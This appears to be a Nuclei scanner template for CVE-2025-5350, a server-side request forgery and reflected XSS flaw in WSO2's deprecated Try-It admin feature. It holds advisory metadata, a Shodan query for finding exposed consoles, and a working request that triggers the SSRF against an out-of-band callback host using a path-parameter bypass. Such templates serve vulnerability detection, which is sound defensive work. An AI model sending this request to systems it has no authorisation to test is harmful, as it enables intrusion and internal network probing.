id: CVE-2025-5350

info:
  name: WSO2 - Server Side Request Forgery
  author: Sourabh Grover
  severity: medium
  description: |
    WSO2 products contain SSRF and reflected XSS vulnerabilities in the deprecated Try-It feature accessible only to administrative users, caused by improper URL validation and direct content reflection, letting attackers trick admins into executing arbitrary JavaScript and querying internal services.
  impact: |
    Attackers can execute arbitrary JavaScript in admin browsers and perform internal network requests, risking UI manipulation, data exfiltration, and internal service enumeration.
  remediation: |
    Remove or secure the deprecated Try-It feature and validate user-supplied URLs properly; update to the latest product versions with fixes.
  reference:
    - https://crnkovic.dev/wso2-server-side-request-forgery/
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2025-5350
    epss-score: 0.00583
    epss-percentile: 0.43211
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.title:"WSO2 Management Console"
  tags: cve,cve2025,ssrf,wso2,carbon,oast,oob

variables:
  cb_url: "http://{{interactsh-url}}/"
  uri_b64: "{{base64(cb_url)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;b=.jar?uri={{uri_b64}}&pattern=%7E&username=%7E&password=%7E&payload=%7E"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")'
          - 'contains(body, "AxisFault")'
        condition: and
# digest: 4b0a00483046022100ed302fbab85a0b3253e2decf3d80dcd55569e82343de41f661117e3143a9bb0a022100d6757c8015a9438ebda921a606f3795c1db1fad88c69d0b19bc35b0124e94744:922c64590222798bb761d5b6d8e72950